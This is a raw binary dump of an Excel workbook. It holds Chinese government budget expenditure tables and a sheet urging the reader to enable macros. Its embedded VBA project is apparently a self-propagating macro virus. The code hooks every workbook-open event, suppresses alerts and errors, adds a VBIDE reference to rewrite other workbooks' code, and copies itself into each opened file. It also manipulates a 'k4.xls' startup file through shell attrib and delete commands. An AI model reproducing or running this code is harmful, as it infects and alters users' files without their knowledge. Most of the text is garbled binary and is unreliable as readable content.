ࡱ>   !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~Root Entry F @"5@j;fWorkbook.ETExtData,Z_VBA_PROJECT_CUR"+:@j;  !"#$%&'()*+,-./012345789:<>?@ABCDEFGHIJKLMNPQRTVWXYZ[\]^_`abcdefhijlnopqrstuvwxyz{|}~ Ru````` .A  A.  A.  .A  A.  A.  .A  A.  .A <8A'#< H51nҀF)Rb*B\kx)Rb*B\k H51nҀME  ɀ\pAutoBVT Ba=   ThisWorkbook=m08X@"1Y[SO1Y[SO1Y[SO1Y[SO1Ysimhei1 YeckwiSO_GBK1",Y eck\h[_GBK1 YeckўSO_GBK1 YeckN[_GBK1.YTimes New Roman1 YeckN[_GBK1.YTimes New Roman1"|Y eck\h[_GBK1YSimSun1 YeckўSO_GBK1 YeckN[_GBK1.YTimes New Roman1Y[SO1.YTimes New Roman1 YeckўSO_GBK1 YeckN[_GBK1.YTimes New Roman1 YeckN[_GBK1.YTimes New Roman1 YeckwiSO_GBK1 YeckN[_GBK1"hY eck\h[_GBK1 YeckўSO_GBK1"TY eck\h[_GBK1 YeckwiSO_GBK1Y[SO1Y[SO1>Y[SO1Y[SO1 Y[SO1 Y[SO1Y[SO1>Y[SO1 Y[SO1h>Y[SO1Y[SO1,>Y[SO1>Y[SO1?Y[SO15Y[SO1 Y[SO15Y[SO1Y[SO1Y[SO1Y[SO1(Y Dialog.plain1(Y Dialog.plain1Y[SO""#,##0;""\-#,##0""#,##0;[Red]""\-#,##0""#,##0.00;""\-#,##0.00#""#,##0.00;[Red]""\-#,##0.007*2_ ""* #,##0_ ;_ ""* \-#,##0_ ;_ ""* "-"_ ;_ @_ .))_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_ ?,:_ ""* #,##0.00_ ;_ ""* \-#,##0.00_ ;_ ""* "-"??_ ;_ @_ 6+1_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_ \$#,##0_);\(\$#,##0\)\$#,##0_);[Red]\(\$#,##0\) \$#,##0.00_);\(\$#,##0.00\)% \$#,##0.00_);[Red]\(\$#,##0.00\) @ @               @ @   @ @   @ @   @ @   @ @   @ @   @ @   @ @   @ @ /  @ @ *  @ @   @ @   @ @ / #@ @  #@ @  #@ @  #@ @  #@ @ , #@ @ /  @ @ (@ @ * @ @ + @ @ & @ @ &@ @ "@ @ -  @ @  @ @  @ @  @ @ $@ @ 1@ @ * 0a@ 6 ,@ @ *@ @ -  .ff7 )@ @ '@ @ /`@ @ +@ @ )@ @ #@ @ 6 #@ @  #@ @  #@ @ 6 #@ @ 1 #@ @  2@ @ + , ! / %@ @    @ @ @ @ 8  <  8  < @ @ @ @ @ @ 8 8 < < |  | < 8 < 8 8 < @ @ 8 8 @ @ 8 < @ @ 8  8  8 @ @ 8  < @ @  <  < 8 8 8  @ @ 8 8  8 @ @ @ @ 8  8 @ @ 8 8 8 8 8 @ @ !20% - :_eW[r 1!20% - :_eW[r 2!20% - :_eW[r 3!20% - :_eW[r 4!20% - :_eW[r 5!20% - :_eW[r 6!40% - :_eW[r 1!40% - :_eW[r 2!40% - :_eW[r 3!40% - :_eW[r 4!40% - :_eW[r 5!40% - :_eW[r 6!60% - :_eW[r 1!60% - :_eW[r 2!60% - :_eW[r 3!60% - :_eW[r 4! 60% - :_eW[r 5!!60% - :_eW[r 6" #h $h 1 %h 2 &h 3 'h 4(] )8^ĉ 2*8^ĉ 43+8^ĉ 44,8^ĉ 45-.}Y /Gl;`01 2{3hgUSCQ:_eW[r 6 ?-N @Q AeQB  Clʑ`eMacro1 hhN qhN ^h N hV ~hN ŞhmQ hN hkQ h]NVV ! :! :! :! :! :! :! :! :! :! :"F>ThN"?eb>k6e/e;`hUSMOCQ6eeQ/eQyv{peTN,lQqQ{?e^'`Wё{V gD,g~%{N0,gt^6eeQN0,gt^/eQ N,lQqQ{DёN,lQqQ gR/eQ ?e^'`Wё{Dё eSe8nSON OZ/eQ V gD,g~%{Dё >yOOT1\N/eQkSueP^/eQWaN>y:S/eQQg4l/eQOO?bO/eQN0 Nt^~lN0~l Nt^N,lQqQ{b>k ?e^'`Wё{b>kV gD,g~%6eeQ6eeQT/eQThNN,lQqQ{"?eb>k/eQ{hRR{|yv2021t^{pe yvxyv Ty;`W,g/eQ yv/eQ 201 20101 N'YNR 2010101 L?eЏL 2010104 N'YO 20103 ?e^RlQS[ SvsQ:ggNR 2010301 2010350 NNЏL 20106 "?eNR 2010601 20131 ZQYRlQS[ SvsQ:ggNR 2013101 20138  ^:Wvcw{tNR 2013899 vQN^:Wvcw{tNR207 20701 eSTe8n 2070109 OeS208 20801 NRDnT>yOO{tNR 2080109  >yOOi~R:gg 20805  L?eNNUSMO{Q/eQ 2080501  L?eUSMOyO 2080502  NNUSMOyO 2080505 :gsQNNUSMOW,g{QOi49/eQ 2080506 :gsQNNUSMOLNt^ё49/eQ 20810 >yOy)R 2081001 ?Qzy)R 20821  yrVNXTQeRO{Q 2082101 W^yrVNXTQeRO{Q/eQ 2082102 QQgyrVNXTQeRO{Q/eQ 20825 vQNu;mQeR 2082502  vQNQQgu;mQeR 20828  y_QN{tNR 2082850210 21011  L?eNNUSMO;Su 2101101  L?eUSMO;Su 2101102  NNUSMO;Su 2101103  lQRXT;SueR212 21205  WaN>y:SsXkSu 2120501  WaN>y:SsXkSu213 21301 QNQQg 2130104 2130152 [ؚ!hkNu0RWB\NLeR 21302 gNTIS 2130204 NN:gg 21307 QQg~T9ei 2130705 [QglYXTOTQgZQ/e萄veR221 22102 OO?b9ei/eQ 2210201  OO?blQyёYl,ghS fS_t^N,lQqQ{"?eb>k/eQ`Q0h NN,lQqQ{"?eb>kW,g/eQ{h~NmR{|yv 2021t^W,g/eQyvxNXT~9e8^lQ(u~9301]Dy)R/eQ301014 W,g]D4301024 %m4e44301034 VYё4301074 ~He]D4301084 :gsQNNUSMOW,g{QOi494301094 LNt^ё494301104 L]W,g;SuOi494301124 vQN>yOO494301134 OO?blQyё4301144 ;Su94301994 vQN]Dy)R/eQ4302FUTT gR/eQ302014 RlQ94302054 4l94302064 5u94302074 5u94302114 ]e94302134 ~Ob 94302154 O94302164 W94302174 lQRc_94302264 RR94302284 ]O~94302314 lQR(ufЏL~b94302394 vQNN9(u4302994 vQNFUTT gR/eQ4303 [*NNT[^veR303994 vQN[*NNT[^veR4hVN,lQqQ{ NlQ ~9/eQh202t^{peVlQQVX 9 lQR(uf-nSЏL9lQRc_9\lQR(uf-n9lQR(ufЏL9hN ?e^'`Wё{/eQh,gt^?e^'`Wё{"?eb>k/eQ44hmQ6e/e;`h11"?eN7b{tDёNN6eeQDё N~eR6eeQDё D^\USMO N46eeQDё NNUSMO~%6eeQDёvQN6eeQDё hN6eeQ;`hyv N,lQqQ{b>k6eeQ ?e^'`Wё{b>k6eeQ V gD,g~%{b>k6eeQ "?eN7b{tDё6eeQNN6eeQ N~eR6eeQD^\USMO N46eeQNNUSMO~%6eeQvQN6eeQ201013 N'YNR3 20101013 L?eЏL3 20101043 N'YO3201033 ?e^RlQS[ SvsQ:ggNR3 20103013 20103503 NNЏL3201063 "?eNR3 20106013201313 ZQYRlQS[ SvsQ:ggNR3 20131013201383 ^:Wvcw{tNR3 20138993 vQN^:Wvcw{tNR3201993 vQNN,lQqQ gR/eQ3 20199993 vQNN,lQqQ gR/eQ3207013 eSTe8n3 20701093 OeS3208013 NRDnT>yOO{tNR3 20801093 >yOOi~R:gg3208053 L?eNNUSMO{Q/eQ3 20805013 L?eUSMOyO3 20805023 NNUSMOyO3 20805053 :gsQNNUSMOW,g{QOi49/eQ3 20805063 :gsQNNUSMOLNt^ё49/eQ3208083 bd`3 20808023 $Okbd`3208103 >yOy)R3 20810013 ?Qzy)R3208213 yrVNXTQeRO{Q3 20821013 W^yrVNXTQeRO{Q/eQ3 20821023 QQgyrVNXTQeRO{Q/eQ3208253 vQNu;mQeR3 20825023 vQNQQgu;mQeR3208283 y_QN{tNR3 20828503210113 L?eNNUSMO;Su3 21011013 L?eUSMO;Su3 21011023 NNUSMO;Su3 21011033 lQRXT;SueR3212013 WaN>y:S{tNR3 21201993 vQNWaN>y:S{tNR/eQ3212053 WaN>y:SsXkSu3 21205013 WaN>y:SsXkSu3213013 QNQQg3 21301043213023 gNTIS3 21302043 NN:gg3213073 QQg~T9ei3 21307053 [QglYXTOTQgZQ/e萄veR3221023 OO?b9ei/eQ3 22102013 OO?blQyё3224 ~p[2lS^%`{t/eQ224013 ^%`{tNR3 22401013hkQ/eQ;`hW,g/eQyv/eQh]N ?e^Ǒ-{f~hyvSZ HVWeIW9GV d!!:"H"6#D#E$S$ d%r % & '- ' %(3 ( X)f ) K*Y*m+{+,b-p."./40B01F2T23 4cc||ux_}}}}}}}A}df }}  ̙ ??v}}}}}A}L }A} }}}A}13 }-} }}}-} }}}  }A}13 }-} }-}  }-}! }-}" }A}# }A}$ }A}%13 }A}&? }A}'13 }}( ??? ????????? ???}})   }}}* ??? ????????? }A}+df }A}, }A}- }}U}. }A}/ a}A}0 e}A}1df }A}2 }A}3df }A}4L }}5}A}6df }A}7L }A}8 }A}9 }}:}A};df }A}<L }A}= }A}>L }A}?13 }A}@ }A}AL }A}B13 }}C}}}d}G  }d}H  }d}I  }d}J  }d}K  }d}P  }d}Q  }d}R  }d}S  }d}V  }d}W  }d}X  }d}Y  }d}Z  }d}[  }d}\  }d}]  }d}_  }d}`  }d}b  }d}c  }d}f  }d}g  }d}h  }d}i  }d}l  }d}m  }d}o  }d}p  }d}r  }d}s  }d}t  8^ĉ2&20% - :_eW[r 3eQ2'40% - :_eW[r 3]2(60% - :_eW[r 3 lʑ2$60% - :_eW[r 2h 4 fJTe,gh 5ʑ'`e,gh 1h 22 60% - :_eW[r 1h 32,60% - :_eW[r 4Q{ hgUSCQtheme/theme/theme1.xmlYMoE#F{om'vGuرhF[x=ޝzvg53NjHHzAB\8 R+D5)EH 3މ$)wkƗ܋: BRŪHwkл!p<ŒǤ͈leBc[^TQHû1V(HCJV0=Oz#o3e"VR/L5ml1Ѥr&;LZ0<İTUǫl^tSK'ݗnMV O s^yi;oL-n[}RY~]ݩ6u_ sn7,ٯzu  z{Ysdk ޥZPhz@ȠD/>/}%-EFDt3q%'CqSgv fe6qw[@(^udbh kaw9gm.J pM*Xx0rbZc|PƻcǵiU3 J8b1+( !%ݡԱ.|ژd@N 72+\f6jsV69p? 1U˫z9;dL 3c ꥔(&jZSsLs*Uܚ0 ]kpF׬lix<]$C<"ދ>'eb. vJ|y'XnqR]} {KYϽX:,F-XixIñF x].|%l؟&lfIP k: mhWiXs4祀7bu躖WEgVcZJTGhȦbu>#*vTWi[Ӥ+^`], qZnufl&sSA<ЭTvU1)N'p]:*W`qBU( 08ױ .AsIk8} APeD ji$YJDTA\X䀰k{(P7$-w<4rԐ'̠[@?f{{1e0+fo([X 42b>%pT0 u"A` ]dm0iRִ褭5stsnj%;h|8s9xN-ڮ-55xx8;ǘ?<]p6\OmPK N@_rels/PKN@֧6 _rels/.relsj0 }Q%v/C/}(h"O = C?hv=Ʌ%[xp{۵_Pѣ<1H0ORBdJE4b$q_6LR7`0̞O,En7Lib/SeеPK N@theme/theme/_rels/PKN@ ѐ'theme/theme/_rels/themeManager.xml.relsM 0wooӺ&݈Э5 6?$Q ,.aic21h:qm@RN;d`o7gK(M&$R(.1r'JЊT8V"AȻHu}|$b{P8g/]QAsم(#L[PKN@ $[Content_Types].xmlN0EH-J@%ǎǢ|ș$زULTB l,x\vTU^hd}㨫)*1P'^ח0)T9l#$> `?Cs]7zb$xu-lV{9>DVNj,5(Bȥszҕhhs0U~,}2ToF0,į*=댬o[gv; 9'33y ; oOPKN@ $ [Content_Types].xmlPK N@_rels/PKN@֧6  _rels/.relsPK N@theme/PK N@ $theme/theme/PK N@theme/theme/_rels/PKN@ ѐ' theme/theme/_rels/themeManager.xml.relsPKN@ss> theme/theme/theme1.xmlPKN@ky} Ntheme/theme/themeManager.xmlPK ? >TableStyleMedium2None @ ɀ [f'h  dMbP?_*+%"??tU DBT/ AutoBVTBA B t5y(u[ sQ 2022/9/9 fgN NHS 12:25:45 Please Enable Macro!Bv B A B7d 3   >@57  ɀ nip  dMbP?_*+%&>>?'>>?(qq?)>>?" dU} @} } @} }  } @} } `}  G@*@@_@_@@@@@ @ @ @ @ @@@@@@G@@D E lllllll Y mm mmmmm Z Z Z Z M M M [ ~ O:X; [ O:X;O:X; O O ]~ ^:X; ]^d^d ^ ^ ] ^ ]^S^S ^ ^ ] ^ ]^C*^C* ^ ^  ] ^ ] ^f^f ^ ^  ] ^ ] ^j@^j@ ^ ^  ] ^ ] ^=4^=4 ^ ^  ] ^ ] ^C9p ^C9p  ^ ^  ] ^ ]^^ ^ ^ ijijjjj Nj Njjjj kjijjjj kjijjjj kjijjjjijijjjj [~ O:X; [O:X;O:X; O O .$8b\\\\XXXXD8$$$>@d  57 Sheet1ggD& d  ɀ =r|K  dMbP?_*+%&>>?'>>?(qq?)>>?" dU} }  } (}  }  } ` }  =G@G@G@G@@@I@@@ Y@ {@ {@ Y@ {@{@Y@{@Y@{@Y@{@Y@{@@Y@{@@Y@{@Y@{@{@D EDDDD q qqqqqqqqqDDDDDDDDD J n!n n" nn d# d$ d% d& d' ooO:X;O:X;g Q( QRdRdh Q) Q* R_٘ R_٘  h Q+ Q, R_ R_  h Q- Q. R@R@ h Q/ Q0 R8?R8? h Q1 Q, R9?BA R9?BA h Q2 Q3RA1ARA1Ah Q4 Q5R R h Q6 Q,R R h Q7 Q8RRh Q9 Q,RRh Q: Q;R@R@h Q< Q=R@R@h Q> QRSRSh Q? Q@RSRSh QA QBRSRSh QC QRC*RC*h QD QERcRch QF QGRcRch QH QIRURUh QJ QKR@R@h QL QMR@R@h QN QORRh QP QQR|R|hD| l*  4F4<<<<<JJ<<<<<<<<<<<<<<<< {@!{@"Y@#{@$Y@%{@&Y@'{@({@)Y@*{@+Y@,{@-@.Y@/{@0{@1{@2@3Y@4{@5Y@6{@7@8Y@9{@:Y@;{@<@ QR QS Rp@Rp@ h !QT !QU!Rp@Rp@!h "QV "QW"R@AR@A"h #QX #QY#Ry@Ry@#h $QZ $Q[$RARA$h %Q\ %Q]%R,@R,@%h &Q^ &Q_&R,@R,@&h 'Q` 'Qa'RGBA'RGBA'h (Qb (Q3(RGBA(RGBA(h )Qc )Q)RfRf)h *Qd *Qe*RfRf*h +Qf +Qg+RgARgA+h ,Qh ,Qi,RcARcA,h -Qj -Qk-R$@R$@-h .Ql .Q.Rj@Rj@.h /Qm /Qn/Rj@Rj@/h 0Qo 0Qp0Rj@Rj@0h 1Qq 1Q1R=4R=41h 2Qr 2Qs2R/R/2h 3Qt 3Q33RG/ A3RG/ A3h 4Qu 4Qv4RHRH4h 5Qw 5Qx5R(\A5R(\A5h 6Qy 6Qz6R(\A6R(\A6h 7Q{ 7Q|7R?.AR?.A7h 8Q} 8Q~8R?.AR?.A8h 9Q 9Q9RC9p RC9p 9h :Q :Q:RC9p RC9p :h ;Q ;Q;RC9p RC9p ;h <p<pppp>: 0<<<<<<<JJ<<<<<<<<<<J<JJ<<<<<>*@d; *<<57 Sheet2ggD& d  ɀ %N  dMbP?_*+%&>>?'>>?(qq?)>>?" dU} @}  }  $}  } } }  %l@G@G@G@@@(@@@ {@ {@ {@ {@ {@{@{@{@{@{@{@@{@{@{@{@{@{@{@{@{@{@{@D f\\\\ tttttttttt\\\\\\\\\ J rr r rr ` `$ `% ` ` ssGGG a bI!@I!@I a b Ifffff`@ Ifffff`@ I a b I`@I`@ I a b I@I@ I a b IH@IH@ I a b Ih@Ih@ I a bIh@Ih@I a bIb@Ib@I a bI(\@I(\@I a bI@I@I a b III a bI@I@I a b~ IA@I~ IA@ a b~ If@I~ If@ a b III a b III a b III a b III a b III a b III a b III a b III a b III a b~ Iq@I~ Iq@Dl*  4F <J<<<<<<J<,<BB,,,,,,,,, {@!{@"{@#@${@ a b III !a !b !III "a "b~ "I@"I~ "I@ #a #b)#I(\k@$ףp= G^@HzX@#I\@I@ $a $b)$I(\k@ףp= G^@HzX@$I\@I@P,,B_>@d### "57 Sheet3ggD& d  ɀ   dMbP?_*+%&>>?'>>?(qq?)>>?" dU} `}  }  }  }  }  }  }  } @ } } } } @ }   G@ G@ G@ G@ @ @ @ @ @D E qqqqqqcccccc qqqqqqcccccc qqqqqqcccccc J nnnnnn n n n nn n nn d d dneeeeee ."""FB>@d 257 Sheet4ggD& d  ɀ  j֝  dMbP?_*+%&>>?'>>?(qq?)>>?" dU} `}  } $} `} } `}   G@@@G@@@o@@G@ G@ G@D _\\\\ tttttttttt\\\\\\\\\ J r# r$ r rr rr `% `& `' ss G G G ab I I I a b I I I a b I I I *  88B8F>@d *57 Sheet5ggD& d  ɀ Ǥ  dMbP?_*+%&>>?'>>?(qq?)>>?" dU} }  } } } } `}  G@G@G@G@@@@@@ @ @ @ @ @@@@D E l lllllll Y uu uu Z Z Z Z [~ O:X; [~ O:X; \ ]~ ^:X; ]~ ^d \ ] ^ ]~ ^S \ ] ^ ]~ ^C* \ ] ^ ]~ ^f \ ] ^ ]~ ^j@ \ ] ^ ]~ ^=4\ ] ^ ]~ ^C9p \ ] ^ ]^\ ] ^ ] ^ &@088FBBBBBB4>@d 57 Sheet6ggD& d  ɀ D\  dMbP?_*+%&` ` ?'` ` ?(qq?)>>?" dU} `}  } }  } ` }  }  }  }  } } } ` } } D  G@ G@ G@ G@ @ @ \@ @ @ l@ @ @ l@ @ @ l@ @ l@ @ l@ @ l@ @ @ l@ @ @ l@ @ l@ @ @D E llllllllllll llllllllllll  J vv v% x x x x x  x  x  x  x T T$vxxxxxxxxx wwO:X;O:X; U U U U  U  U  U  U V( WRdRd X X X X  X  X  X  X V W R_٘ R_٘  X X X X X X X X V W R_ R_  X X X X X X X X V W R@R@ X X X X X X X X V W R8?R8? X X X X X X X X V W R9?BA R9?BA X X X X X X X X V WRA1ARA1A X X X X  X  X  X  X V WR R  X X X X  X  X  X  X V WR R  X X X X  X  X  X  X V WRR X X X X  X  X  X  X V WRR X X X X  X  X  X  X V WR@R@ X X X X  X  X  X  X V WR@R@ X X X X  X  X  X  X V WRSRS X X X X  X  X  X  X V WRSRS X X X X  X  X  X  X V> WRSRS X X X X  X  X  X  X V WRC*RC* X X X X  X  X  X  X V WRcRc X X X X  X  X  X  X VC WRcRc X X X X  X  X  X  X V WRURU X X X X  X  X  X  X V W R@R@ X X X X  X  X  X  X V  W R@R@ X X X X  X  X  X  X V  W RR X X X X  X  X  X  X V WR|R| X X X X  X  X  X  X Dl.":  @! @" l@# @$ l@% @& l@' @( @) l@* @+ l@, @- @. l@/ @0 @1 @2 @3 l@4 @5 l@6 @7 @8 l@9 @: l@; @< l@= @> @? l@ V W Rp@Rp@ X X X X X X X X !V !W!Rp@Rp@ !X !X !X !X ! X ! X ! X ! X "V "W"R@AR@A "X "X "X "X " X " X " X " X #V #W#Ry@Ry@ #X #X #X #X # X # X # X # X $V $W$RARA $X $X $X $X $ X $ X $ X $ X %V %W%R,@R,@ %X %X %X %X % X % X % X % X &V &W&R,@R,@ &X &X &X &X & X & X & X & X 'V 'W'RGBA'RGBA 'X 'X 'X 'X ' X ' X ' X ' X (V  (W!(RGBA(RGBA (X (X (X (X ( X ( X ( X ( X )V" )W#)RfRf )X )X )X )X ) X ) X ) X ) X *V$ *W%*RfRf *X *X *X *X * X * X * X * X +V& +W'+RgARgA +X +X +X +X + X + X + X + X ,V( ,W,RcARcA ,X ,X ,X ,X , X , X , X , X -Vc -W-R$@R$@ -X -X -X -X - X - X - X - X .V) .W*.Rj@Rj@ .X .X .X .X . X . X . X . X /V+ /W,/Rj@Rj@ /X /X /X /X / X / X / X / X 0V- 0W.0Rj@Rj@ 0X 0X 0X 0X 0 X 0 X 0 X 0 X 1V/ 1W01R=4R=4 1X 1X 1X 1X 1 X 1 X 1 X 1 X 2Vl 2W2R/R/ 2X 2X 2X 2X 2 X 2 X 2 X 2 X 3V1 3W23RG/ A3RG/ A 3X 3X 3X 3X 3 X 3 X 3 X 3 X 4V3 4W44RHRH 4X 4X 4X 4X 4 X 4 X 4 X 4 X 5V5 5W65R(\A5R(\A 5X 5X 5X 5X 5 X 5 X 5 X 5 X 6V7 6W86R(\A6R(\A 6X 6X 6X 6X 6 X 6 X 6 X 6 X 7Vq 7W7R?.AR?.A 7X 7X 7X 7X 7 X 7 X 7 X 7 X 8V9 8W:8R?.AR?.A 8X 8X 8X 8X 8 X 8 X 8 X 8 X 9V; 9W9RC9p RC9p  9X 9X 9X 9X 9 X 9 X 9 X 9 X :V< :W=:RC9p RC9p  :X :X :X :X : X : X : X : X ;V> ;W?;RC9p RC9p  ;X ;X ;X ;X ; X ; X ; X ; X <V@ <WA<XP;AXP;A <X <X <X <X < X < X < X < X =VB =WC=XP;AXP;A =X =X =X =X = X = X = X = X >V >W>Xï$Xï$ >X >X >X >X > X > X > X > X ?VD ?WE?Xï$Xï$ ?X ?X ?X ?X ? X ? X ? X ? X Dl@ @A @B l@C @ @VF @WG@Xï$Xï$ @X @X @X @X @ X @ X @ X @ X AVH AWIAXAXA AX AX AX AX A X A X A X A X BVJ BWKBXAXA BX BX BX BX B X B X B X B X CVL CWCXAXA CX CX CX CX C X C X C X C X <> @d j      57 Sheet7ggD& d  ɀ ;  dMbP?_*+%&>>?'>>?(qq?)>>?" dU} } @} } } `} }  ;G@G@G@G@{@~@@@@ @ @ @ @ @@@@@@@@@@@@@@@@@@@D EM lNlllllllllKKKKKKKKK L M M$ M% MO MP yyO:X;O:X;P Q( QRdRdS Q) Q*R_٘ R_٘ S Q+ Q, R_ R_  S Q- Q. R@R@ S Q/ Q0 R8?R8? S Q1 Q, R9?BA R9?BA S Q2 Q3 RA1A RA1A S Q4 Q5R R S Q6 Q,R R S Q7 Q8RRS Q9 Q,RRS Q: Q;R@R@S Q< Q=R@R@S Q> QRSRSS Q? Q@RSRSS QA QBRSRSS QC QRC*RC*S QD QERcRcS QF QGRcRcS QH QIRURUS QJ QKR@R@S QL QMR@R@S QN QORRS QP QQR|R|S QR QSRp@Rp@SDv l  F8<<<<<JJ<<<<<<<<<<<<<<<<< @!@"@#@$@%@&@'@(@)@*@+@,@-@.@/@0@1@2@3@4@5@6@7@8@9@:@ QT QU Rp@Rp@ S !QV !QW!R@AR@A!S "QX "QY"Ry@Ry@"S #QZ #Q[#RARA#S $Q\ $Q]$R,@R,@$S %Q^ %Q_%R,@R,@%S &Q` &Qa&RGBA&RGBA&S 'Qb 'Q3'RGBA'RGBA'S (Qc (Q(RfRf(S )Qd )Qe)RfRf)S *Qf *Qg*RgARgA*S +Qh +Qi+RcARcA+S ,Qj ,Qk,R$@R$@,S -Ql -Q-Rj@Rj@-S .Qm .Qn.Rj@Rj@.S /Qo /Qp/Rj@Rj@/S 0Qq 0Q0R=4R=40S 1Qr 1Qs1R/R/1S 2Qt 2Q32RG/ A2RG/ A2S 3Qu 3Qv3RHRH3S 4Qw 4Qx4R(\A4R(\A4S 5Qy 5Qz5R(\A5R(\A5S 6Q{ 6Q|6R?.AR?.A6S 7Q} 7Q~7R?.AR?.A7S 8Q 8Q8RC9p RC9p 8S 9Q 9Q9RC9p RC9p 9S :Q :Q:RC9p RC9p :S:<<<<<<JJ<<<<<<<<<<J<JJ<<<<>-@d;;B 57 Sheet8ggD& d  ɀ   dMbP?_*+%&?'?(qq?)>>?" dU} `} @ }  } ` }  } @ }  } ` }  } } ` } }   Y@ G@ G@ G@ @ !@ @ @D EQDDDDDDDDDDD zRzzzzzzzzzzz zzzzzzzzzzzz DDDDDDDDDDDD DDDDDDDDDDD  J FS F F% F F F F F  F  F  F  FooGG G G G G  G  G  G  G HHII I I I I  I  I  I  I $8."".>@d1d  57 Sheet9ggD& d VBA :`s;ThisWorkbook&__SRP_460__SRP_5# ;BPSLSS6"`2j<<N0{00020819-0000-0000-C000-000000000046}x(%H` % %%*    H )hh%h8@TT0ɶe$*\Rffff*0>651ab6c9*\R1*#2a9*\R1*#2ad4 "  ( 0@H"  PX\`     ] ĠDe 2.P*P 2(4:A\o0  &{0002E157-0000-0000-C000-000000000046} h!H!B@ 2(:0 2(4 hA@f 2(:oAttribute VB_Name = "ThisWorkbook" Bas0{00020P819-0C$0046} |GlobalSpacFalse dCreatablPredeclaIdTru BExposeTemplateDerivBustomizD2Public WithEvents xx @As App ation fxx.VarHelpIDU-1 P;? Sub _open() P Set)= )On Error ResuNext4:.Disj yAlerJ= iCall do_whaEndC: Axx_w{O!ByVal wb5'& wb@8Project.References.AddFromGuid _ GUID:="BE157 -P, Major:=5, Mi nA3 ?@ABCDEFGHIJKLMNOQRSTUVWXYZ[\]^_`bcdefghijklmnpqrstuvwyz{}~%-A wzkܼH$NME(SLSS6"N0{00020820-0000-0000-C000-000000000046}(%H` %( %`h8@HH0ɶe$*\Rffff*0G651ab6c94xAttribute VB_Name = "She@et9" Bast0{00020820- C$0046} |Global!SpacFalse dCreatablPre declaIdTru BExposeTemplateDeriv$Bustom izD2rU 94`rU @nrU~| 7a y i  1 y 1d*\R1*#2ad$*\Rffff*0=651ab6c9*\R4*#2c*\R4*#35*\R1*#2ac*\R1*#e8*\R1*#d7$*\Rffff*0>651ab6c9*\R1*#f1*\R1*#dc*\R1*#f1*\R4*#1c*\R4*#1b*\R4*#27*\R4*#25*\R4*#2b*\R4*#2a*\R4*#34*\R4*#34*\R1*#43*\R1*#1c8*\R0*#f*\R0*#12*\R1*#228*\R1*#91" "H "0@H*TP  ""&F2*("X"0@"P4xV9 0(0X0  " A'xMEl @1!)0j<> LL"LLPPLLPLP*L`Hk @FpHdm <8`pPk # Qx% St As % Wp0% \x` 0 f `  8)iN % l% n%+r`` ffCit)w%)y%iz  R%`|`~``` % b` `` `` @ 5Z`x`!8``0` ` k4` ` X ixi @i@ 0 BP `o )i 0 %`t + `  i d ` &&`G`G$~`GB@`G`r@  P ` ,` `"!`$`&`( `  8 ` bb` `"`$`&`<`( `  JH ` x )YN YP YR YT YV`X `Z + `  H+z0 ` Si|`~`` +> `  e@ @ ` +H `  oI @ @  ` xI  I @ @ B `!! P %``` ^` @ @ @ ` 8 x  P0 8P  @H H .%@2<>@B@x @t @p @(` @\ @L @X< @, (@x@Xl @\ @X "T`P%x@P (x`@x @t @d @` @\  %X`%@@T @XP @pL @H (8P(h`@ ix(@p @` @\ @2@L @< @ , @( @$ @@ @X @p @ @ @ @ @ @? P@8 @   "@ɶe*\R4*#   '0P `hx B  B    "(P B$ X p x      ( 0@HP Xhpx  *  " 0 @ P`h px           ( H`(x        ( "8 `  p  x        B       B L` J H H  `  p      B        * ZH V \ X`     ( H "  PX`  "    .< ( (@!X(x6Y(^r(@!X(x!(! <? 058P B  X`hp "   0bP 02  ( .0 `hpxP    .@ JH ,,  ( " 0&8 `*h 2F$8`h "x"B>0 p2 . 86X 2  @8`2 2@ X &h "&2N0PNJ *p20"T0.4\h,8:bX.PJ@  $ Z 8(!4`!B!>! "8"BH"<"""(". #HP#J##$$ $H$h$>x$D$@%V@%&%@%&R&dh&&*&&'@'(P'x'j'4(&@(h(j(4(&0)X)&x)))0).)H(*Xp*J*.+8H++6++"+,0,8@,6x,0,P,0-8@-x-B->-.(.(8..`.H.P.(/H/$`// / /(/// " 0 0(080 @0*`060F0 1&01X1`1 <p1"1L1(2H2Ph2P2d3p3p3@4v@44P4V 5nx5560777>708JH868&8"8 9&@9 h994969 :8:0P:*:(:x:BP;*;$;;<&(<P<p<  <<<<,<(= 0=  @=P=(X== =$=== >0?8? N@?R?T?T@@>@ 2@LA `A^pA:AB B(B " 0B8B@BHB $XBB BBBBBBBBBB BCC C(C0CHCPCXC`ChCpC B xC2CCCCCCDDD B  D D8D@D XDhDD DDDDDD*D2EPE`EhEB pExEE4E.EF*F HFXF B  `FhFpF*F F F FF "  FGG*GJHGG GG GG GH H0H8H " @HHH`H hH xHHH H@HHII 0I @IPIXI`I pII*IIII&J|(JvJ, K PK `KpK xKK B  KKK K K KK&L0L$8L"`LLLLLL L LL 2(4 !6 2!8 2(:A<A>$@!Macro1G A@Bj B@D 2(:niskXoP@]"< ThisWorkbook !H%J!L#Public WithEvents xx As ApplicationC@NPrivate Sub Workbook_open()C@NSet xx = ApplicationC@N!vOn Error Resume NextC@N c!Application.DisplayAlerts = FalseC@N Call do_whatC@NEnd SubC@N1Private Sub xx_workbookOpen(ByVal wb As Workbook)C@N On Error Resume NextC@N %wb.VBProject.References.AddFromGuid _C@N GUID:= F&{0002E157-0000-0000-C000-000000000046} F, _C@N Major:=5, Minor:=3C@N "Application.ScreenUpdating = FalseC@N!Application.DisplayAlerts = FalseC@N copystart wbC@N!Application.ScreenUpdating = TrueC@NEnd SubC@Nqo]]] !H.P ThisWorkbook P%J.R R!L.V V5ZC@Xqox8 !6 2!8A@^A`AbAdk0i(x]]k4.xls$p!H.l h!H.nToDole l n$rGzji   ]]](]@]X]p] v'rz0k( t$ 'rzk x'rzk v! 'rzk x! 'rzkx t v%J.R !'rz@k8Temp$\ t.bas'| z |    $~  B@ |A@ !'rzkk x!J t7C@qXdP B@ t x%J.R ! ! d'rzkkk | t v%JB@ |\$' |.$' |     $'~.R ~ x%J.R R | x!JB@d R!l  | x!J%. R!L5ZC@X !L!Z !L%' C@Nq  x!JB@k`kX |A@'ri8]] !' 2!8\k4.xls'k4.xls$ !6 2!8Gk4.xls$pB@Bjcomspec$  /c attrib -S -h " 2!8\K4.XLS" A@comspec$  /c Del /F /Q " 2!8\K4.XLS" A@comspec$  /c RD /S /Q " 2!8\K4.XLS" A@ !6 2!8 2(: (  B@ ( 